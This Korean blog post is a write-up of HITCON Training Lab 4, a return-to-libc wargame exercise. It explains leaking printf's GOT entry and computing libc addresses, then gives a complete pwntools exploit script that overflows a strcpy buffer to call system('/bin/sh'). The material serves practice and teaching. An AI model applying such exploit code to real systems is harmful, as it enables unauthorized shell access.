블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 4
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 4

728x90

 

1. 문제


1) mitigation 확인 

NX 비트말곤 안걸려있다 

 

 

 

2) 문제 확인 

바이너리를 실행시키면 RTL아냐고 물어본다. 그리고 메모리에서 뭘 보고 싶냐고 물은뒤 알고 싶은 주소를 입력하라고 한다(십진수로). 아무숫자나 입력하면 폴트가 뜬다  

 

 

 

3) 코드흐름 파악 

15라인에서 read로 buf에다가 문자열을 입력하고, strtol 함수로 long 타입으로 변환한 값이 v8에 들어간다. 그리고 See_something함수가 호출된다. 

 

 

See_something 함수를 보면 아까 변환된 v8 변수에 들어있는 값을 출력해준다 

 

그리고 한번더 read로 0x100 만큼 입력받은뒤, Print_message 함수가 호출된다 

 

 

위에서 입력한 값을 dest 변수에 strcpy로 복사한다. 그리고 복사된 내용을 출력한다 

 

 

2. 접근방법


우선 No PIE 이기 떄문에 처음에 printf의 got 주소를 10진수로 변환하여 입력하면 printf_ libc 주소를 알수 있을 것이다. 또한 strcpy를 이용하여 bof를 일으켜 RTL을 조지면 될 것이다 

 

시나리오 

  1. printf_got 값을 10진수로 바꿔서 입력해서 printf_leak
  1. leak된 주소를 이용하여 libc_base 주소, system 함수 주소, /bin/sh 문자열이 위치한 주소를 얻기
  1. RTL 진행

 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(os="linux",arch="i386",log_level="DEBUG")
p=process("./ret2lib")

p.sendlineafter("(in dec) :","134520848")

p.recvuntil("address : ")
printf_adr=int(p.recv(10),16)
libc_base=printf_adr-0x049670
bin_sh=libc_base+0x15ba0b
system=libc_base+0x03ada0
p.recvuntil("me :")

payload="A"*0x38+"B"*4+p32(system)+"C"*4+p32(bin_sh)+"\x00"

p.sendline(payload)
p.interactive()

 

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 6  (0) 2020.04.14
[Hicon training] LAB 5  (0) 2020.04.14
[Hicon training] LAB 3  (0) 2020.04.13
[Hicon training] LAB 2  (0) 2020.04.13
[Hicon training] LAB 1  (0) 2020.04.13